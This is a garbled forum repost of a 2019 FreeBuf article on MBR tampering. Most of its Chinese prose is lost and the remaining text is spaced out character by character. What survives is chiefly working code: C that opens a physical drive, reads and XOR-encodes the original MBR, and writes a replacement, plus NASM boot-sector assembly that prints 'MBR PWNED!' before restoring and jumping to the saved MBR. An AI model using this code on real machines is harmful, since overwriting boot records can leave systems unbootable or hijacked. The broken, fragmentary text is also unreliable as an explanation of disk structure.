[14222] 2019-06-12_详解MBR篡改技术

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-06-12_详解MBR篡改技术 M B R   F r e e B u f   2 0 1 9 - 0 6 - 1 2 0 × 0 1   便 便 H e a d s R ( C y l i n d e r s ) 0 1 2 5 1 2 b y t e 1 2 3 C y l i n d e r s × H e a d s × S e c t o r Q u e s t i o n 1 A n s w e r I D G A P D A T A F A T 寿 5 M B R D B R F A T D I R D A T A 1 M B R M B R M a i n   B o o t   R e c o r d   0 0 1 M B R 4 4 6 6 4 D P T D i s k   P a r t i t i o n   T a b l e 5 5 A A
2 D B R D B R D o s   B o o t   R e c o r d 0 1 1 访 B P B B i o s   P a r a m e t e r   B l o c k D B R 3 F A T F A T F i l e   A l l o c a t i o n   T a b l e D B R F A T 便 F A T F A T F A T 4 D I R D I R D i r e c t o r y F A T ( ) 5 ( D A T A ) D I R 0 × 0 2   M B R b i o s b i o s B i o s 便 M B R b i o s m b r m b r M B R M B R 使
M B R Q u e s t i o n 2 M B R A n s w e r : B I O S U E F I L e g a c e y   L e g a c y U E F I U n i f i e d   E x t e n s i b l e   F i r m w a r e   I n t e r f a c e M B R G U I D G P T L e g a c y M B R 0 × 0 3   M B R M B R w i n h e x M B R 0 0 w i n h e x 使 ~ ~ ~ ~ ~ 0 × 0 4   M B R M B R B i o s M B R M B R h t t p s : / / g i t h u b . c o m / D a v i d B u c h a n a n 3 1 4 / p w n - m b r p a y l o a d M B R 1 p a y l o a d p a y l o a d . s p a y l o a d m a s m n a s m 使 n a s m p a y l o a d
2 R I N G 3 W i n d o w s C P U R i n g 0 R i n g 3 R i n g 3 访 I N T R i n g 0 R i n g 0     使 f o p e n W i n d o w s W i n d o w s . P H Y S I C A L D R I V E 0 " l i n u x d e v s d a 3 f o p e n w i n d o w s f p   =   f o p e n ( a r g v [ 1 ] ,   " r + " ) ;   i f   ( f p   = =   N U L L )   {   p r i n t f ( " C o u l d   n o t   o p e n   % s   f o r   r e a d / w r i t e .   A r e   y o u   s u r e   y o u   h a v e   p e r m i s s i o n ? n " ,   a r g v [ 1 ] ) ;   r e t u r n   1 ;   } f r e a d ( & m b r ,   S E C T O R _ S I Z E ,   1 ,   f p ) ;
4 使 退 5 1 2 M B R 0 M B R 0 x A 6 p a y l o a d M B R p a y l o a d 5 1 2 p a y l o a d 5 1 2 M B R p a y l o a d M B R M B R 4 4 6 M B R 6 4 D P T D i s k   P a r t i t i o n   T a b l e 5 5 A A p a y l o a d D P T M B R f r e a d ( & m b r ,   S E C T O R _ S I Z E ,   1 ,   f p ) ; / / M B R m e m c p y ( p a y l o a d ,   m b r ,   S E C T O R _ S I Z E ) ; / / M B R c o p y p a y l o a d m e m s e t ( p a y l o a d ,   0 ,   4 4 6 ) ; / / 4 4 6 D P T 5 p a y l o a d p a y l o a d M B R 0 : 0 x 7 C 0 0 b a c k u p _ m a g i c   e q u   0 x 0 D D 0 3 7 1 3   ;   M B R 0 x 1 3 3 7 D 0 0 D   便 x p / w i n 2 0 0 3 w i n 7 p w n 0 × 0 5   - - M B R M B R M B R M B R M B R 1 P E U P E 2 P E d i s k g e n i u s i f   ( m b r [ 0 ]   ! =   A S M _ J M P )   {   / /   t h i s   i s   o n l y   a   h e u r i s t i c   f o r   a d d e d   s a f e t y   p r i n t f ( " N o   b o o t c o d e   d e t e c t e d .   A b o r t i n g ! n " ) ;   f c l o s e ( f p ) ;   r e t u r n   1 ; } c h a r   i s U s e d   =   1 ;   w h i l e   ( i s U s e d )   {   f r e a d ( & r e a d b u f ,   S E C T O R _ S I Z E ,   1 ,   f p ) ;   f o r   ( i n t   i   =   i s U s e d   =   0 ;   i   <   S E C T O R _ S I Z E ;   i s U s e d   | =   r e a d b u f [ i + + ] ) ; } f o r   ( i n t   i   =   0 ;   i   <   S E C T O R _ S I Z E ;   i + + )   m b r [ i ]   ^ =   0 x A 6 ; m a g i c _ a d d r   e q u   0 x 7 F F C p a y l o a d _ l e n   e q u   0 x 1 B 8   ;   t e l l s   u s   h o w   m u c h   o f   t h e   M B R   t o   c o p y   b a c k   o r g   0 x 7 C 0 0   b i t s   1 6 s t a r t :   j m p   r e a l s t a r t   ;   J u s t   t o   l o o k   l i k e   a   m o r e   n o r m a l   M B R   n o p r e a l s t a r t :   c l i   x o r   a x ,   a x   ;     m o v   e s ,   a x   m o v   f s ,   a x   m o v   g s ,   a x   m o v   a h ,   0 x 0 E   ;   " T e l e t y p e   o u t p u t "   m o d e   f o r   i n t   0 x 1 0   x o r   b l ,   b l . s L o o p   s u b   b l ,   1   ;   b l 2 5 5 2 5 5 p w n   j z   d o C o p y   ; d o c o p y   m o v   s i ,   p w n e d . c L o o p   l o d s b   ;   A L   < -   [ D S : S I ]   & &   S I + +   p w n   x o r   a l ,   0 x 8 3   ; p w n   j z   . s L o o p   i n t   0 x 1 0   ;   j m p   . c L o o p d o C o p y :     x o r   a h ,   a h   i n t   0 x 1 6   ;   ;   m b r . s c a n   m o v   s i ,   D A P A C K     m o v   a h ,   0 x 4 2   i n t   0 x 1 3   ; 使 i n t 1 3 h , a h = 0 x 4 2   m o v   a x ,   [ d _ l b a ]   ; a x 1   a d d   a x ,   1   ;   m o v   [ d _ l b a ] ,   a x   m o v   e a x ,   [ m a g i c _ a d d r ]   ;   m o v   e b x ,   b a c k u p _ m a g i c   c m p   e a x ,   e b x   ;   j n e   . s c a n   ;   M B R   m o v   s i ,   s t a g e 2   m o v   b x ,   0 x 8 0 0 0 . c o p y   l o d s b   ; s t a g e 2 0 x 8 0 0 0   m o v   [ b x ] ,   a l   a d d   b x ,   1   c m p   s i ,   s t a g e 2 e n d   j l   . c o p y   j m p   0 x 8 0 0 0   ; 0 x 8 0 0 0 s t a g e 2 s t a g e 2 :   ;   0 x 8 0 0 0   m o v   s i ,   0 x 7 E 0 0 . c o p y   l o d s b   x o r   a l ,   0 x A 6   ; M B R   m o v   [ s i - 0 x 2 0 1 ] ,   a l   ; M B R 0 x 7 C 0 0   c m p   s i ,   0 x 7 E 0 0   +   p a y l o a d _ l e n   j l   . c o p y   s t i   j m p   0 : 0 x 7 C 0 0   ; 0 x 7 C 0 0 M B R s t a g e 2 e n d : p w n e d :   d b   2 0 6 ,   1 9 3 ,   2 0 9 ,   1 6 3 ,   2 1 1 ,   2 1 2 ,   2 0 5 ,   1 9 8 ,   1 9 9 ,   1 6 2 ,   1 6 3 ,   1 6 3 ,   1 6 3 ,   1 3 1   ;   " M B R   P W N E D !       "   ^   0 x 8 3   a l i g n   4   ;   n e e d e d   f o r   D i s k   A d d r e s s   P a c k e t D A P A C K :   d b   0 x 1 0   d b   0 b l k c n t :   d w   1   ;   i n t   1 3   r e s e t s   t h i s   t o   #   o f   b l o c k s   a c t u a l l y   r e a d / w r i t t e n d b _ a d d :   d w   0 x 7 E 0 0   ;   m e m o r y   b u f f e r   d e s t i n a t i o n   a d d r e s s   ( 0 : 7 E 0 0 )   d w   0   ;   i n   m e m o r y   p a g e   z e r o d _ l b a :   d d   1   ;   p u t   t h e   l b a   t o   r e a d   i n   t h i s   s p o t d d   0   ;   m o r e   s t o r a g e   b y t e s   o n l y   f o r   b i g   l b a ' s   (   >   4   b y t e s   )
3 4 d i s k g e n i u s 5 6
7 8
9 P E 1 0 R e s e t 0 × 0 6   M B R M B R M B R M B R M B R M B R *   F r e e B u f  

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则